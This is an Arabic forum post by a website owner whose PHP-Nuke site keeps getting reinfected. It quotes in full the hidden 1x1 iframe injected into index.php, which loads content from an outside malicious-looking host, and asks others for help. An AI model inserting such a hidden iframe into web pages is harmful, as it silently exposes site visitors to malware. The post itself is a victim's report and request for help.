السلام عليكم ورحمه الله وبركاته
اخواني العرب موقعي الاسلامي......!!!!
حسبنا الله و نعم الوكيل.....!!!
كدت ان اجن اخواني الكرام من موقعي الاسلامي
المشكلة في البداية
قمت بعمل موقع اسلامي و قمت بتركيب مجلة نيوك اصدار 7.8 و راكب عليه الباتشات الامنية
وقمت بحماية ملف admin.php وجميع فولدرات المجلة بالاضافة الي سد ثغراتها
اشتغل الموقع لمدة شهر ونصف تمام جدا و سريع جدا و في يوم من الايام دخلت علي الموقع
و فوجئت بالمجلة مقلوبة البلوكات اليسري في الجانب الايمن و العكس
و وجدت الانتي فيروس يحذرني من فيروس الموجود بالصورة
فدخلت الي الموقع عن طريق ال ftp و حررت ملف ال index.php بال notepad ووجدت في اول الصفحة هذا الكود
ووجدت ان الرابط في الكود هو نفس رابط الفيروسكود PHP:<iframe width=1 height=1 border=0 frameborder=0 src="http://traff.step57.info/mrx/"></iframe><!--iframe width=1 height=1 border=0 frameborder=0 src="http://traff.step57.info/mrx/"></iframe-->
قمت بحذف المجلة من فولدر puplic_html
وقمت بوضع صفحة index.php فيها الموقع تحت التطوير
وفوجئت بأن نفس الكود دخل الي صفحة ال index.php
فقمت بحذف جميع المجلدات و الفولدرات من الموقع
etc . mail . www . puplic_html . puplic_ftp . tmp . trash
وغيرها و قمت بأنشاء مجلد puplic_html جديد وقمت برفع مجلة نيوك 8.0 بالتحديث الامني 3.3
وبعد يومين فقط حدث نفس الكلام
اريد مساعدة من اي شخص بارك الله فيكم
ملاحظات
لايوجد اعضاء بالموقع غيري
رابط الموقع
www.eltawheedway.com
احترس اخي الكريم قبل الدخول تأكد انك تملك kaspersky internet secuerity محدث
فالموقع به فيروسات خطرية
رد مع اقتباس
المشاركة الأصلية كتبت بواسطة عرب سوفت
